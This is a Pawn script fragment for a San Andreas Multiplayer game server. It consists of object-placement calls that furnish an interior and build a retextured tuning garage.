	CreateDynamicObject(2422,1798.67309570,-1517.95727539,5700.42138672-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(18070,1799.44238281,-1520.61328125,5702.12451172-2000,0.00000000,179.98352051,90.49438477,0,15);
	CreateDynamicObject(18070,1799.36816406,-1511.49804688,5702.13183594-2000,0.00000000,179.88800049,90.49438477,0,15);
	CreateDynamicObject(3857,1801.50683594,-1520.96032715,5703.30322266-2000,0.00000000,0.00000000,315.13604736,0,15);
	CreateDynamicObject(16101,1801.49902344,-1524.13977051,5702.73730469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1801.50000000,-1517.30004883,5702.70019531-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(3857,1801.50683594,-1520.95996094,5703.30322266-2000,0.00000000,0.00000000,135.13183594,0,15);
	CreateDynamicObject(16101,1801.63781738,-1514.88720703,5708.98730469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1797.31726074,-1514.90759277,5708.98730469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1797.32739258,-1517.29516602,5708.98730469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1797.35571289,-1524.03149414,5708.98730469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(1533,1809.09997559,-1513.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1533,1810.59997559,-1513.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1722,1810.50000000,-1524.09997559,5699.41992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1722,1811.19995117,-1524.09997559,5699.41992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1722,1811.90002441,-1524.09997559,5699.41992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1722,1812.59997559,-1524.09997559,5699.41992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2239,1814.69995117,-1523.80004883,5699.39990234-2000,0.00000000,0.00000000,200.00000000,0,15);
	CreateDynamicObject(1815,1813.50000000,-1523.69995117,5699.41992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1722,1815.00000000,-1521.90002441,5699.41992188-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1722,1815.00000000,-1521.19995117,5699.41992188-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1722,1815.00000000,-1520.50000000,5699.41992188-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1722,1815.00000000,-1519.80004883,5699.41992188-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2852,1814.00000000,-1523.19995117,5699.91992188-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2190,1801.19995117,-1520.09997559,5700.39990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2190,1801.19995117,-1521.80004883,5700.27001953-2000,0.00000000,0.00000000,248.00000000,0,15);
	CreateDynamicObject(2190,1801.19995117,-1521.80004883,5700.56982422-2000,0.00000000,180.00000000,275.00000000,0,15);
	CreateDynamicObject(1715,1799.00000000,-1521.90002441,5699.39990234-2000,0.00000000,0.00000000,130.00000000,0,15);
	CreateDynamicObject(1715,1799.00000000,-1519.59997559,5699.39990234-2000,0.00000000,0.00000000,91.99572754,0,15);
	CreateDynamicObject(1808,1814.80004883,-1516.80004883,5699.39990234-2000,0.00000000,0.00000000,268.25000000,0,15);
	CreateDynamicObject(1808,1790.69995117,-1519.00000000,5699.39990234-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(3578,1802.79980469,-1519.00000000,5698.62988281-2000,29.99816895,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1886,1814.49902344,-1548.46679688,5706.64746094-2000,20.92346191,359.21997070,325.73364258,0,15);
	CreateDynamicObject(1886,1791.09997559,-1523.80004883,5702.79980469-2000,20.92346191,359.21997070,135.73059082,0,15);
	CreateDynamicObject(1886,1814.40002441,-1514.09997559,5702.79980469-2000,20.92346191,359.21997070,283.73056030,0,15);
	CreateDynamicObject(1892,1810.90002441,-1514.40002441,5699.50000000-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1892,1809.30004883,-1514.40002441,5699.50000000-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2165,1795.50000000,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5699.70019531-2000,90.00000000,180.00000000,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5700.00000000-2000,90.00000000,180.00000000,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5700.29980469-2000,90.00000000,179.99450684,270.49987793,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5700.60009766-2000,90.00000000,180.00000000,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5700.89990234-2000,90.00000000,180.00000000,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5701.20019531-2000,90.00000000,180.00000000,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5699.70019531-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5700.00000000-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5700.29980469-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5700.60009766-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5700.89990234-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5701.20019531-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1528.00000000,5701.50000000-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(970,1790.09997559,-1532.09997559,5701.50000000-2000,90.00000000,179.99450684,270.00000000,0,15);
	CreateDynamicObject(3578,1791.80004883,-1531.19995117,5698.62988281-2000,29.99816895,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2166,1795.59997559,-1530.09997559,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1715,1796.80004883,-1532.69995117,5699.39990234-2000,0.00000000,0.00000000,262.00000000,0,15);
	CreateDynamicObject(2186,1798.09997559,-1530.30004883,5699.39990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1886,1798.69995117,-1530.19995117,5701.79980469-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1886,1791.59997559,-1526.19995117,5701.50000000-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1886,1791.59997559,-1533.69995117,5701.50000000-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(3944,1801.44396973,-1537.70666504,5698.89990234-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(2007,1802.09997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(2007,1801.09997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1805.09997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1804.09997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1803.09997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1805.09997559,-1533.00000000,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1804.09997559,-1533.00000000,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1803.09997559,-1533.00000000,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1802.09997559,-1533.00000000,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1801.09997559,-1533.00000000,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1801.09997559,-1529.59997559,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1802.09997559,-1529.59997559,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1803.09997559,-1529.59997559,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1804.09997559,-1529.59997559,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1805.09997559,-1529.59997559,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1805.09997559,-1529.59997559,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1804.09997559,-1529.59997559,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1803.09997559,-1529.59997559,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1802.09997559,-1529.59997559,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2007,1801.09997559,-1529.59997559,5700.79980469-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(9339,1804.90002441,-1530.19995117,5689.20019531-2000,90.00000000,90.00000000,0.00000000,0,15);
	CreateDynamicObject(1893,1802.19995117,-1531.30004883,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2007,1805.08703613,-1530.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1805.08703613,-1530.80004883,5700.79980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1804.09997559,-1530.80004883,5700.79980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1803.09997559,-1530.80004883,5700.79980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1802.09997559,-1530.80004883,5700.79980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1801.09997559,-1530.80004883,5700.79980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1801.09997559,-1530.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1802.09997559,-1530.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1803.09997559,-1530.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2007,1804.09997559,-1530.80004883,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1893,1820.19995117,-1533.80004883,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1823.30004883,-1541.69995117,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1827.09997559,-1541.69995117,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1827.09997559,-1531.80004883,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1820.19995117,-1541.80004883,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1823.69995117,-1531.80004883,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1802.50000000,-1527.40002441,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1807.80004883,-1527.40002441,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1798.30004883,-1520.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1794.00000000,-1520.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1805.00000000,-1520.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1812.00000000,-1520.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1812.00000000,-1515.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1893,1805.00000000,-1515.09997559,5702.89990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2844,1801.30004883,-1532.09997559,5699.39990234-2000,0.00000000,0.00000000,66.00000000,0,15);
	CreateDynamicObject(2845,1802.59997559,-1532.09997559,5699.39990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(2303,1806.30004883,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(2303,1807.59997559,-1533.00000000,5699.39990234-2000,0.00000000,0.00000000,179.99450684,0,15);
	CreateDynamicObject(2741,1808.30004883,-1533.40002441,5701.00000000-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(1789,1829.19995117,-1543.69995117,5700.00000000-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1789,1829.19995117,-1541.90002441,5700.00000000-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1808,1804.80004883,-1535.69995117,5699.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2596,1800.59997559,-1522.59997559,5702.10009766-2000,0.00000000,0.00000000,240.00000000,0,15);
	CreateDynamicObject(2813,1807.30004883,-1537.69995117,5700.20019531-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2817,1804.19995117,-1539.19995117,5699.42382812-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2822,1821.40002441,-1545.30004883,5700.50000000-2000,0.00000000,0.00000000,280.00000000,0,15);
	CreateDynamicObject(2828,1806.59997559,-1535.90002441,5701.29980469-2000,0.00000000,0.00000000,164.50000000,0,15);
	CreateDynamicObject(2831,1821.09997559,-1542.40002441,5700.29980469-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2894,1799.80004883,-1523.09997559,5700.41015625-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(1828,1826.80004883,-1532.59997559,5699.41015625-2000,0.00000000,0.00000000,358.00000000,0,15);
	CreateDynamicObject(2286,1806.00000000,-1513.80004883,5701.39990234-2000,0.00000000,0.00000000,0.00000000,0,15);
	CreateDynamicObject(2279,1806.69995117,-1523.68994141,5701.29980469-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(2275,1811.59997559,-1523.59997559,5701.10009766-2000,0.00000000,0.00000000,180.00000000,0,15);
	CreateDynamicObject(2261,1814.50000000,-1520.30004883,5701.00000000-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1537,1808.00000000,-1583.59997559,5699.39990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1537,1812.09997559,-1582.09997559,5699.39990234-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1537,1808.40002441,-1582.09997559,5699.39990234-2000,0.00000000,0.00000000,90.00000000,0,15);
	CreateDynamicObject(1537,1811.69995117,-1583.59997559,5699.39990234-2000,0.00000000,0.00000000,270.00000000,0,15);
	CreateDynamicObject(1537,1809.30004883,-1585.02294922,5699.39990234-2000,0.00000000,0.00000000,179.50000000,0,15);
	CreateDynamicObject(16101,1811.90002441,-1577.09997559,5707.79980469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(16101,1808.19995117,-1577.09997559,5707.79980469-2000,0.00000000,179.99450684,0.00000000,0,15);
	CreateDynamicObject(3944, 1817.84570, -1527.33557, 5698.82813-2000,   0.00000, 0.00000, 89.93998,0,15);
    CreateDynamicObject(2949, 1817.00903, -1531.56360, 5699.39160-2000,   0.00000, 0.00000, 181.85992,0,15);





// Mapping Garage for Tuning
new retexture;
retexture = CreateDynamicObject(19447, 643.05, -1566.38, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 642.30, -1568.65, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 637.48, -1563.93, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 635.11, -1561.48, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19385, 641.53, -1561.48, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 637.48, -1554.30, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 641.98, -1549.70, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19385, 639.11, -1556.01, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19355, 641.46, -1555.98, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19385, 643.92, -1556.01, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 651.94, -1568.65, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19355, 646.33, -1555.98, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19385, 648.75, -1556.01, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 648.00, -1549.57, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 652.82, -1551.25, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19355, 651.13, -1555.98, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19385, 652.71, -1557.59, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19355, 651.19, -1559.28, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19355, 649.38, -1559.30, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 647.69, -1564.03, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 641.86, -1551.19, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19447, 646.80, -1551.15, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10856, "bakerybit_sfse", "ws_altz_wall7", 0xFFFFFFFF);
retexture = CreateDynamicObject(19378, 637.75, -1566.32, -21.81,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 3961, "lee_kitch", "dinerfloor01_128", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 642.54, -1556.68, -21.82,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13749, "lahills_curvesteps", "concretebigblu4256128", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 642.54, -1566.31, -21.82,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13749, "lahills_curvesteps", "concretebigblu4256128", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 642.54, -1547.05, -21.82,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13749, "lahills_curvesteps", "concretebigblu4256128", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 647.53, -1554.42, -21.84,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13749, "lahills_curvesteps", "concretebigblu4256128", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 658.03, -1554.47, -21.84,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10041, "archybuild10", "Upt_Conc floorClean", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 658.03, -1544.84, -21.84,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10041, "archybuild10", "Upt_Conc floorClean", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 668.52, -1544.84, -21.84,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10041, "archybuild10", "Upt_Conc floorClean", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 668.52, -1554.47, -21.84,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 10041, "archybuild10", "Upt_Conc floorClean", 0xFFFFFFFF);
retexture = CreateDynamicObject(19393, 652.86, -1557.59, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 652.87, -1551.18, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 657.48, -1559.21, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 667.11, -1559.21, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 671.88, -1554.46, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 652.87, -1541.54, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 671.88, -1544.83, -20.00,   0.00, 0.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 657.41, -1543.05, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19456, 667.03, -1543.05, -20.00,   0.00, 0.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 13715, "richman02_lahills", "studiowall2_law", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 658.03, -1554.47, -18.19,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 658.03, -1544.84, -18.19,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 668.52, -1544.84, -18.19,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 668.52, -1554.47, -18.19,   0.00, 90.00, 0.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 647.96, -1554.76, -18.18,   0.00, 90.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 638.33, -1554.76, -18.18,   0.00, 90.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 647.96, -1565.26, -18.18,   0.00, 90.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
retexture = CreateDynamicObject(19377, 638.33, -1565.26, -18.18,   0.00, 90.00, 90.00);
SetDynamicObjectMaterial(retexture, 0, 6102, "gazlaw1", "law_gazwhitefloor", 0xFFFFFFFF);
CreateDynamicObject(19817, 656.98, -1548.46, -22.55,   0.00, 0.00, 0.00);
CreateDynamicObject(2957, 657.13, -1559.15, -20.33,   0.00, 0.00, 0.00);
CreateDynamicObject(2957, 662.71, -1559.15, -20.33,   0.00, 0.00, 0.00);
CreateDynamicObject(2957, 668.47, -1559.15, -20.33,   0.00, 0.00, 0.00);
CreateDynamicObject(19817, 662.49, -1548.46, -22.55,   0.00, 0.00, 0.00);
CreateDynamicObject(19817, 668.10, -1548.46, -22.55,   0.00, 0.00, 0.00);
CreateDynamicObject(19815, 659.80, -1543.15, -20.47,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.19, -1552.34, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19899, 653.49, -1550.83, -21.79,   0.00, 0.00, 0.00);
CreateDynamicObject(19900, 659.04, -1544.10, -21.79,   0.00, 0.00, -25.00);
CreateDynamicObject(19903, 654.65, -1543.50, -21.79,   0.00, 0.00, -90.00);
CreateDynamicObject(19815, 665.29, -1543.15, -20.47,   0.00, 0.00, 0.00);
CreateDynamicObject(19815, 652.98, -1546.24, -20.28,   0.00, 0.00, 90.00);
CreateDynamicObject(19903, 660.51, -1544.13, -21.79,   0.00, 0.00, -74.00);
CreateDynamicObject(19903, 670.39, -1543.50, -21.79,   0.00, 0.00, -90.00);
CreateDynamicObject(19900, 666.02, -1544.08, -21.79,   0.00, 0.00, -11.00);
CreateDynamicObject(19900, 671.24, -1543.79, -21.79,   0.00, 0.00, -11.00);
CreateDynamicObject(19899, 671.32, -1550.52, -21.79,   0.00, 0.00, 180.00);
CreateDynamicObject(19816, 653.19, -1552.52, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.19, -1552.69, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.36, -1552.69, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.36, -1552.52, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.36, -1552.34, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.54, -1552.34, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.54, -1552.52, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(19816, 653.54, -1552.69, -21.44,   0.00, 0.00, 0.00);
CreateDynamicObject(3015, 653.25, -1555.79, -21.63,   0.00, 0.00, 0.00);
CreateDynamicObject(1450, 653.56, -1554.56, -21.18,   0.00, 0.00, 90.00);
CreateDynamicObject(944, 671.07, -1555.35, -20.91,   0.00, 0.00, 90.00);
CreateDynamicObject(18608, 662.88, -1555.18, -17.19,   0.00, 0.00, 90.00);
CreateDynamicObject(1892, 639.73, -1568.32, -21.73,   0.00, 0.00, 0.00);
CreateDynamicObject(1893, 644.91, -1564.71, -17.89,   0.00, 0.00, 0.00);
